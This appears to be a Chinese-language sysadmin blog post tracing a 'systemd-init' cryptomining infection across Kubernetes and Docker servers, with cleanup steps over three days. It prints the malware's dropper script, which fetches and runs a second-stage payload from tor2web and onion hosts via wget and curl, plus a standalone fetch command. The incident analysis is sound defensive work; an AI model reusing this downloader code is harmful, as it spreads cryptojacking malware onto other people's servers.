一個名爲systemd-init的CPU挖礦病毒及後續

一個名爲systemd-init的CPU挖礦病毒及後續

作者 root 在安全

今天接到了報警,一臺內部的服務器CPU負載嗷嗷的高,感到非常的疑惑,就點進去看看負載情況

 

CPU爆滿

監控誠不欺我,果然是CPU跑爆了,然後看看Command,發現都是M開頭的,這肯定就是病毒了,就開始處理

發現運行最長的進程PID是32336,就拿它下刀開始查

 

發現,毛都查不到,就開始按照常規開始查crontab、rc.local,結果有發現

 

這是個非常令人蛋疼東東,就去看看裏面到底寫了什麼

 

 

 

這次的病毒比上次處理的要高明多了,還知道用BASE64加密一下,但是然並卵,分分鐘解密出來了,稍微研究了下發現關鍵點是這麼一句:

if ! ls /proc/$(cat /tmp/.X11-unix/0)/io; then

/tmp/.X11-unix/0 這個文件應該是不存在的,這裏既然有這個,那就開始處理一下,發覺/tmp/.X11-unix/下面有 0 1 2 三個文件夾,對應的三個PID

 

發覺還是查不到,但是起碼知道了4fmW2Z這個進程是關鍵,然後就開始該刪除的刪除,該停止的停止

註釋掉crontab裏面的任務,kill掉三個進程,刪除掉/tmp/.X11-unix裏的文件,再看服務器恢復了正常

然後就是繼續觀察,看看還會不會起來新的進程

 

 

這次的病毒明顯比上次的病毒要牛逼,但是貌似三個PID是固定的,9581、15755和32336,以後如果有人發現了這三個病毒,直接咔掉就好,就不需要另行煩惱了

然後深入的分析一下病毒是幾個意思,從crontab裏面的腳本摘出wget命令下載一下,起了一個docker容器開始搞

# wget -t1 -T180 -qU- -O–no-check-certificate intelbagjop7nzm5.tor2web.io/crn || curl -m180 -fsSLkA- intelbagjop7nzm5.tor2web.io/crn

 

 

crn腳本會下載int腳本病毒,int病毒腳本會下載cpu腳本病毒,但是int腳本和cpu腳本都是加密的,crn腳本如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d” “)
wget -t1 -T180 -qU- –no-check-certificate $1$f -O$d || curl -m180 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
d=”rm -f asdf”
touch /tmp/asdf && cd /tmp && $d
touch /var/tmp/asdf && cd /var/tmp
touch /dev/shm/asdf && cd /dev/shm && $d
touch /usr/bin/asdf && cd /usr/bin && $d
touch /opt/consul/asdf && cd /opt/consul && $d
touch /data/consul/asdf && cd /data/consul && $d
touch /var/lib/psql/asdf && cd /var/lib/psql/asdf && $d
touch /var/lib/psql/data/asdf && cd /var/lib/psql/data && $d
touch /var/lib/postgres/asdf && cd /var/lib/postgres && $d
touch /var/lib/postgres/data/asdf && cd /var/lib/postgres/data && $d
touch /var/lib/postgresql/asdf && cd /var/lib/postgresql && $d
touch /var/lib/postgresql/data/asdf && cd /var/lib/postgresql/data && $d
touch $PGDATA/asdf && cd $PGDATA && $d
for h in tor2web.io d2web.org onion.in.net onion.glass onion.mn onion.to onion.sh onion.ws
do
if ! ls /proc/$(cat /tmp/.X11-unix/0)/io; then
x intelbagjop7nzm5.$h
else
break
fi
done

真是不看不知道,一看嚇一跳,TMD給弄了這麼東西,挨個研究吧,多餘的就不多說了

最近病毒肆虐漏洞頻發,還是及時更新爲上

後續(第二天):

本以爲就這一臺服務器被搞了,沒想到不是這一臺,而是N多臺服務器,目前這臺服務器有權限連接的全部中招,如下圖所示,我已經挨個處理過了

 

 

所有的症狀都是跑滿CPU,有一個計劃任務的路徑是/root/.systemd-init,/tmp/.X11-unix/路徑下有 0 1 2 三個文件夾,三個文件夾是兩個PID號,有一個文件夾是空的,在 / 路徑和 /var/tmp/ 路徑下有空文件asdf

 

 

 

 

如果是這樣的症狀,那就是跟我中的一樣的病毒,還在繼續研究這個病毒是從那裏來的,但是中毒的這批機器,都是跑kubernetes和docker的,聯想到之前kubernetes爆出的大漏洞,嗯···及時更新纔是正道。

在修復過程中,意外發現了一個非常蛋疼的事情,有一臺機器的crontab註釋會被解開,說明crontab被複寫

 

最終發現這臺服務器根本沒有動過也沒有任何重啓操作,應該還是計劃任務的問題,然後就仔細的研究了研究crontab的文件,最終在/etc/cron.d/發現一個名爲0systemd的文件。

 

文件內指向systemd-init文件,就看看這個文件內容是什麼,結果發現確實是同一個病毒

 

然後查看下所有的服務器,發現確實是都有這個計劃任務和病毒文件

 

ansible -i hosts all -m shell -a “sed -i ‘s/0/#0/g’ /etc/cron.d/0systemd” # 全部註釋掉

怕還有別的就開始查詢 # find / -name systemd-init -print

 

後續(第三天):

經過昨天晚上一晚上的檢索,在/var/log/messages*裏又發現了一些線索,發現利用ansible傳播病毒

 

 

 

/usr/lib/systemd/systemd-init 又發現了一個病毒路徑,真是防不勝防

 

然後有發現了另外的兩個病毒腳本

 

 

 

驚奇的發現另外一個systemd-login的病毒,又遍歷了一遍所有服務器,沒有發現這個,幸好幸好

結合上面所有的問題和表現,最後總覺得這個2017年的病毒應該暴出來過,經過一番谷歌,發現了一篇文章,鏈接如下:

《利用Consul RCE漏洞傳播的挖礦木馬分析》

https://www.anquanke.com/post/id/173818

總算是找到了漏洞是什麼,下面就是抓緊時間修補漏洞和刪除病毒了

下篇文章搞一下如何刪除病毒

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章